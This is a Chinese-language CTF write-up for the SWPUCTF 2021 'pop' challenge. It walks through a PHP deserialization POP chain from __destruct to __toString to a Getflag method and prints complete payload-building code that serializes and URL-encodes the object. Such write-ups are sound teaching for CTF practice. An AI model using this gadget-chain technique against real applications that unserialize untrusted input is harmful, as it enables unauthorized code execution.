[SWPUCTF 2021 新生赛]pop
很明显了 反序列化 pop
构造pop链,主要还是 死盯 反序列化的魔法函数
从__destruct()入手,这里echo
可以调用到__toString
__toString 调用 function Getflag()
w44m类中两个变量并不是共有属性(关于属性文末有链接)
private:是PHP中类的私有成员
protected:是PHP中类的保护成员
所以我们就直接在类中进行赋值
如何调用w44m类中Getflag方法?
在w33m类中tostring方法,可以调用某一个类中的某一个方法。
因此可以给w33m类中的两个变量w00m=w44m类名,w22m=Getflag方法
如何调用w33m类呢?
destruct在对象被销毁时调用,所以给w22m类中的变量w00m一个类w33m就可以调用
pop链(在学校机房写的没有环境,找的php在线编译)
有私有属性的一定要url编码一下,会有不可见字符
完整pop链
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$p = new w22m();
$p->w00m = new w33m();
$p->w00m->w00m=new w44m();
$p->w00m->w22m='Getflag';
echo urlencode(serialize($p));
?>
不了解属性的可以看看PHP类中public、protected、private的区别 PHP类中public、protected、private实例代码
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)